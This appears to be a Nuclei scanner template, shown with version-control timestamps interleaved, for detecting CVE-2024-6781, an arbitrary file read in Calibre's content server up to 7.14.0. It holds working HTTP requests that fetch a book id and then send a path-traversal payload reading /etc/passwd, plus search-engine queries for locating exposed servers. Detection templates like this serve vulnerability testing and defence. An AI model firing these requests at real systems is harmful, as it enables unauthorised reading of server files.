2024-07-31 16:29:28 +00:00
|
|
|
|
id: CVE-2024-6781
|
|
|
|
|
|
|
|
|
|
info:
|
|
|
|
|
name: Calibre <= 7.14.0 Arbitrary File Read
|
|
|
|
|
author: DhiyaneshDK
|
|
|
|
|
severity: high
|
|
|
|
|
description: |
|
|
|
|
|
Arbitrary file read via Calibre’s content server in Calibre <= 7.14.0.
|
|
|
|
|
reference:
|
|
|
|
|
- https://starlabs.sg/advisories/24/24-6781/
|
|
|
|
|
metadata:
|
|
|
|
|
shodan-query: html:"Calibre"
|
|
|
|
|
fofa-query: "Server: calibre"
|
|
|
|
|
verified: true
|
|
|
|
|
max-requeset: 1
|
|
|
|
|
tags: cve,cve2024,calibre,lfi
|
|
|
|
|
|
|
|
|
|
http:
|
2024-08-01 06:48:36 +00:00
|
|
|
|
- raw:
|
|
|
|
|
- |
|
|
|
|
|
GET /interface-data/books-init HTTP/1.1
|
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
|
- type: json
|
|
|
|
|
name: book_ids
|
|
|
|
|
internal: true
|
|
|
|
|
json:
|
|
|
|
|
- '.search_result.book_ids[0]'
|
|
|
|
|
|
2024-07-31 16:29:28 +00:00
|
|
|
|
- raw:
|
|
|
|
|
- |
|
|
|
|
|
POST /cdb/cmd/export HTTP/1.1
|
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
Content-Type: application/json
|
|
|
|
|
|
2024-08-01 12:18:08 +00:00
|
|
|
|
["extra_file", {{book_ids}}, "../../../../../etc/passwd", ""]
|
2024-07-31 16:29:28 +00:00
|
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
|
matchers:
|
|
|
|
|
- type: word
|
2024-08-01 06:48:36 +00:00
|
|
|
|
part: content_type
|
2024-07-31 16:29:28 +00:00
|
|
|
|
words:
|
|
|
|
|
- "application/json"
|
|
|
|
|
|
2024-08-01 12:18:08 +00:00
|
|
|
|
- type: regex
|
2024-07-31 16:29:28 +00:00
|
|
|
|
part: body
|
2024-08-01 12:18:08 +00:00
|
|
|
|
regex:
|
|
|
|
|
- 'root:.*:0:0:'
|
|
|
|
|
- '"result":'
|
2024-08-01 06:48:36 +00:00
|
|
|
|
condition: and
|
2024-07-31 16:29:28 +00:00
|
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
|
status:
|
|
|
|
|
- 200
|
2024-08-06 07:25:58 +00:00
|
|
|
|
# digest: 490a0046304402202ca6fce004009bb7f0650dea15c513da500a417c0c88ac7b0e5e45f237a4e7db022076d6e09297483225abdcab453844dd78e248409367b78b3e4b02e80034988c3d:922c64590222798bb761d5b6d8e72950
|